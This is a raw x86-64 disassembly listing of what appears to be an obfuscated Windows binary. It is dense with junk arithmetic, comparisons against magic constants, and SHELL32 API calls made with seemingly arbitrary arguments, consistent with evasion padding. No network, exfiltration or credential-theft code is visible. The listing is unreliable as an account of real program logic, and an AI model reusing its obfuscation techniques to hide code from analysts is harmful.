movsx ecx, word [rsp + 0x7d8]
or eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x1d38]
mov dword [rsp + 0x1e98], eax
cmp dword [rsp + 0x1e98], 0x9338db60
je 0x14000905f
cmp dword [rsp + 0x1e98], 0x63616fd5
je 0x14000900f
jmp 0x1400090d3
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x39c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fd004], ax
lea rcx, [rsp + 0x39c8]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0x3b18], rax
mov rdx, qword [rsp + 0x3818]
mov rax, qword [rsp + 0x39c0]
movzx ecx, word [rax]
call fcn.1400e3de0
nop
jmp 0x1400090d3
lea rax, [rsp + 0x3ac0]
mov qword [rsp + 0x3b20], rax
lea rax, [rsp + 0x1e20]
mov qword [rsp + 0x3b28], rax
mov eax, dword [rsp + 0x1dd4]
mov rcx, qword [rsp + 0x38d8]
mov qword [rsp + 0x3b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3980]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d28]
mov dword [rsp + 0x1e9c], eax
cmp dword [rsp + 0x1e9c], 0x1ba1bf3f
je 0x1400090f3
jmp 0x1400e2c06
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xda]
sub ecx, edx
cmp eax, ecx
je 0x1400091d3
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1dd4]
mov dword [rsp + 0x1ea0], eax
cmp dword [rsp + 0x1ea0], 0x2ca6d4ab
je 0x14000916c
cmp dword [rsp + 0x1ea0], 0x719125c4
je 0x1400091ad
jmp 0x1400091ce
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [section..data], al
xor r8d, r8d
lea rdx, [rsp + 0x3a80]
lea rcx, [rsp + 0x39a0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x3b38], rax
jmp 0x1400091ce
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
jmp 0x1400093ca
mov rax, qword [rsp + 0x3b10]
movzx eax, byte [rax]
mov rcx, qword [0x1400fdf50]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0xdb]
mov rdx, qword [rsp + 0x3a88]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x1400093ca
lea rax, [rsp + 0x1d64]
mov qword [rsp + 0x3b40], rax
mov eax, dword [rsp + 0x1d28]
movzx ecx, al
mov eax, dword [rsp + 0x1d2c]
sar eax, cl
mov rcx, qword [rsp + 0x38d8]
mov rdx, qword [rsp + 0x38f0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
je 0x14000937a
mov rax, qword [rsp + 0x38d8]
mov ecx, dword [rsp + 0x1d28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x1ea4], al
cmp byte [rsp + 0x1ea4], 0
je 0x140009280
jmp 0x140009359
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov byte [rsp + 0x1ea8], al
cmp byte [rsp + 0x1ea8], 0
je 0x1400092af
cmp byte [rsp + 0x1ea8], 0x4f
je 0x14000932a
jmp 0x140009357
lea rax, [rsp + 0x37d8]
mov qword [rsp + 0x3b48], rax
mov rax, qword [rsp + 0x3980]
mov rax, qword [rax]
mov qword [rsp + 0x3b50], rax
movabs rax, 0xbff635f7bd74e3d4
cmp qword [rsp + 0x3b50], rax
je 0x1400092e8
jmp 0x140009328
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0xdc]
and eax, ecx
mov byte [rsp + 0xdb], al
movzx r9d, byte [rsp + 0x68]
movzx r8d, byte [rsp + 0xdd]
mov edx, dword [rsp + 0x1d48]
mov rax, qword [rsp + 0x39c0]
movzx ecx, word [rax]
call fcn.1400e4fb0
nop
jmp 0x140009357
lea r9, [rsp + 0x3840]
lea r8, [rsp + 0x3848]
lea rdx, [rsp + 0x3838]
mov rcx, qword [rsp + 0x39a0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x1dc8], eax
jmp 0x140009378
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
jmp 0x1400093ca
mov rax, qword [rsp + 0x3870]
movzx ecx, al
mov rax, qword [rsp + 0x3958]
shl rax, cl
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x37f0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x1400093ca
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x3b48]
mov rax, qword [rax]
mov qword [rsp + 0x3b58], rax
movabs rax, 0x2d0ff8863e20f9d3
cmp qword [rsp + 0x3b58], rax
je 0x1400095a2
movabs rax, 0x771de1e770225827
cmp qword [rsp + 0x3b58], rax
je 0x14000940e
jmp 0x140009601
mov rax, qword [rsp + 0x3b48]
mov rax, qword [rax]
mov qword [rsp + 0x3b60], rax
movabs rax, 0x24fc731d3641cb25
cmp qword [rsp + 0x3b60], rax
je 0x14000943a
jmp 0x140009582
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [rsp + 0x37f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3958]
mov rdx, qword [rsp + 0x3870]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000951f
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
mov r9d, 0x66
mov r8, qword [rsp + 0x3b68]
lea rdx, [rsp + 0x3818]
mov rcx, qword [rsp + 0x3b70]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x1eac], eax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b28]
mov ecx, dword [rsp + 0x1e30]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x3860]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x3880]
movzx r8d, word [rax]
movzx edx, byte [rsp + 0xde]
movzx ecx, byte [rsp + 0xdd]
call fcn.1400e4f60
nop
jmp 0x140009580
mov rax, qword [rsp + 0x3a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
sub eax, ecx
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x3b10]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x140009580
mov eax, dword [rsp + 0x1dd4]
mov rcx, qword [rsp + 0x3850]
mov qword [rsp + 0x3b78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
jmp 0x1400095a0
mov rax, qword [rsp + 0x3b48]
mov rcx, qword [rsp + 0x37d8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3ac0], rax
jmp 0x140009601
lea rax, [rsp + 0x3998]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xc0
mov r9d, 0x38
mov r8d, 0xf9
mov edx, 0xe1
mov rcx, qword [rsp + 0x3b70]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x1e20], eax
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3870]
shl rax, cl
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
cmp dword [rsp + 0x1da0], 0xcab2
jb 0x140009b4f
mov rax, qword [rsp + 0x39c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7d4], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
movsx ecx, word [0x1400fd004]
sub eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a88]
mov byte [rcx], al
movsx eax, word [rsp + 0x7d8]
movsx ecx, word [rsp + 0x644]
sub eax, ecx
mov word [0x1400fd004], ax
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1dd4], eax
mov rax, qword [rsp + 0x39f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
mov rax, qword [rsp + 0x3b40]
mov ecx, dword [rsp + 0x1e48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b48]
mov rcx, qword [rsp + 0x3a10]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
or eax, ecx
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x1da0]
sub eax, 0x32
mov dword [rsp + 0x1da0], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3b10]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3a88]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xdb]
sar eax, cl
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e4]
xor eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movsx eax, byte [rsp + 0xdd]
movsx ecx, byte [rsp + 0xda]
and eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
mov rax, qword [rsp + 0x3af8]
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3af8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b28]
mov ecx, dword [rsp + 0x1e30]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b20]
mov rcx, qword [rsp + 0x3ac0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3888], rax
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7e4], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [0x1400fdf48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3a30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1400fdf50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a88]
mov byte [rcx], al
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdd]
add eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
mov rax, qword [rsp + 0x37d8]
movzx ecx, al
mov rax, qword [rsp + 0x3908]
shl rax, cl
mov qword [rsp + 0x3ac0], rax
mov eax, dword [rsp + 0x1e30]
mov ecx, dword [rsp + 0x1e48]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38d8]
mov rcx, qword [rsp + 0x38f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1d28], eax
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x39f0]
mov qword [rsp + 0x3b80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3958], rax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xde]
and eax, ecx
mov rcx, qword [rsp + 0x3b10]
mov byte [rcx], al
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3a30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a38]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x644], ax
movsx eax, byte [0x1400fd001]
movsx ecx, byte [rsp + 0xe0]
sub eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
mov rax, qword [rsp + 0x38f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x39f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3988]
mov ecx, dword [rsp + 0x1d48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b48]
mov rcx, qword [rsp + 0x3908]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b20]
mov qword [rcx], rax
movzx eax, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7e0]
add eax, ecx
mov rcx, qword [rsp + 0x3a30]
mov word [rcx], ax
movzx eax, byte [rsp + 0xde]
movzx ecx, byte [rsp + 0xdc]
xor eax, ecx
mov rcx, qword [rsp + 0x3a88]
mov byte [rcx], al
movsx eax, word [0x1400fd004]
mov rcx, qword [rsp + 0x3a38]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
shl eax, cl
mov rcx, qword [rsp + 0x3a90]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a88]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
sar eax, cl
mov rcx, qword [rsp + 0x3a88]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3a88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1400fdf50]
mov byte [rcx], al
mov rax, qword [rsp + 0x38d8]
mov ecx, dword [rsp + 0x1dd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1e64], eax
jmp 0x140009601
mov rax, qword [rsp + 0x3a10]
mov qword [rsp + 0x3b88], rax
mov dword [rsp + 0x1eb0], 0x3048
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x3958]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3870], rax
mov rax, qword [rsp + 0x3a38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x740], ax
movzx eax, word [rsp + 0x7e0]
movzx ecx, word [rsp + 0x7e4]
add eax, ecx
mov word [rsp + 0x7d4], ax
mov eax, dword [rsp + 0x1df4]
add eax, 0x37
mov dword [rsp + 0x1df4], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a38]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7dc], ax
movzx eax, word [rsp + 0x7e8]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov rax, qword [rsp + 0x3af8]
mov rcx, qword [rsp + 0x38d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fdf40], rax
mov rax, qword [rsp + 0x3b20]
mov rcx, qword [rsp + 0x37d8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3b48]
mov qword [rcx], rax
mov rax, qword [0x1400fdf40]
movzx ecx, al
mov rax, qword [rsp + 0x37f0]
shl rax, cl
mov qword [rsp + 0x3870], rax
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d4c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe0], al
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x3a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7d4]
and eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7d8], ax
movsx eax, byte [rsp + 0xe0]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3a90]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0x3b10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1400fdf50]
mov byte [rcx], al
cmp dword [rsp + 0x1df4], 0x3a35
jne 0x140009b6a
mov rax, qword [rsp + 0x3b20]
mov rcx, qword [rsp + 0x3a10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3818], rax
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a30]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x7d4]
sub ecx, edx
cmp eax, ecx
jl 0x140009e55
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1af0], eax
mov eax, dword [rsp + 0x1d2c]
mov ecx, dword [rsp + 0x1e64]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d38], eax
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
sar eax, cl
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b10]
movzx eax, byte [rax]
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x39c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e4]
shl eax, cl
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
lea rax, [rsp + 0xdf]
mov qword [rsp + 0x3b90], rax
mov rax, qword [rsp + 0x3958]
mov qword [rsp + 0x3b98], rax
cmp qword [rsp + 0x3b98], 0
je 0x140009f36
movabs rax, 0xdef204c6006e6a43
cmp qword [rsp + 0x3b98], rax
je 0x140009e8d
jmp 0x140009f83
mov eax, dword [rsp + 0x1d64]
mov dword [rsp + 0x1eb4], eax
cmp dword [rsp + 0x1eb4], 0x74177e66
je 0x140009eb7
cmp dword [rsp + 0x1eb4], 0xcf675ecb
je 0x140009f1a
jmp 0x140009f34
lea r9, [rsp + 0x3b68]
lea r8, [rsp + 0x16160]
mov edx, 0xe6
mov rcx, qword [rsp + 0x3ba0]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0x3a20], rax
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [0x1400fdf48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xda], al
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xdf]
or eax, ecx
mov rcx, qword [0x1400fdf50]
mov byte [rcx], al
jmp 0x140009f34
lea rdx, [rsp + 0x3a88]
lea rcx, [rsp + 0x68]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x1eb8], eax
jmp 0x140009f83
lea rax, [rsp + 0x3818]
mov qword [rsp + 0x3ba8], rax
mov eax, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1dd4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3980]
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3870], rax
cmp dword [rsp + 0x1d5c], 0x5835
je 0x14000a24d
mov rax, qword [rsp + 0x3b28]
mov ecx, dword [rsp + 0x1e48]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a48]
mov byte [rcx], al
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x39c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7e4], ax
movsx eax, byte [0x1400fd001]
movsx ecx, byte [rsp + 0xdd]
add eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x3a50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3a30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x3980]
mov rcx, qword [rsp + 0x3870]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3af8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3ba8]
mov rcx, qword [rsp + 0x3b20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3ac0], rax
mov rax, qword [rsp + 0x3988]
mov ecx, dword [rsp + 0x1af0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1e30], eax
mov rax, qword [0x1400fdf48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdd]
shl eax, cl
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0xe1]
sar eax, cl
mov byte [rsp + 0xdb], al
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7e8], ax
mov rax, qword [rsp + 0x3a38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
and eax, ecx
mov word [rsp + 0x644], ax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d5c]
add eax, 0x74
mov dword [rsp + 0x1d5c], eax
mov rax, qword [rsp + 0x3b20]
mov rcx, qword [rsp + 0x3908]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3818], rax
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x3910]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1af0], eax
mov rax, qword [rsp + 0x38f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3958]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x39f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd001]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, word [rsp + 0x7e0]
movzx ecx, word [rsp + 0x7e4]
add eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
movsx eax, word [rsp + 0x644]
mov rcx, qword [rsp + 0x39c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x740], ax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x644]
xor eax, ecx
mov word [rsp + 0x740], ax
jmp 0x140009f83
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x39c8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x7e0]
or ecx, edx
cmp eax, ecx
jle 0x14000a294
mov rax, qword [rsp + 0x3ba8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0x7dc]
call fcn.1400e3de0
nop
mov dword [rsp + 0x1ebc], 0x6b1a
mov rax, qword [rsp + 0x3b88]
mov qword [0x1400fdf58], rax
mov rax, qword [rsp + 0x3b88]
mov qword [rsp + 0x3bb0], rax
movabs rax, 0xfffffffbdcdef737
cmp qword [rsp + 0x3bb0], rax
je 0x14000a2d7
jmp 0x14000a3f8
mov eax, dword [rsp + 0x1d2c]
mov rcx, qword [rsp + 0x38f0]
mov qword [rsp + 0x3bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3858]
mov edx, dword [rsp + 0x1d38]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jge 0x14000a375
mov rax, qword [rsp + 0x3b10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x3b10]
mov byte [rcx], al
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1dd4], eax
mov r8, qword [rsp + 0x3bc0]
mov rdx, qword [rsp + 0x3b68]
mov rcx, qword [rsp + 0x3998]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0x3a68], rax
lea rax, [rsp + 0x3a10]
mov qword [rsp + 0x3bc8], rax
mov rax, qword [rsp + 0x3988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b40]
mov dword [rcx], eax
lea rax, [rsp + 0x3870]
mov qword [rsp + 0x3bd0], rax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
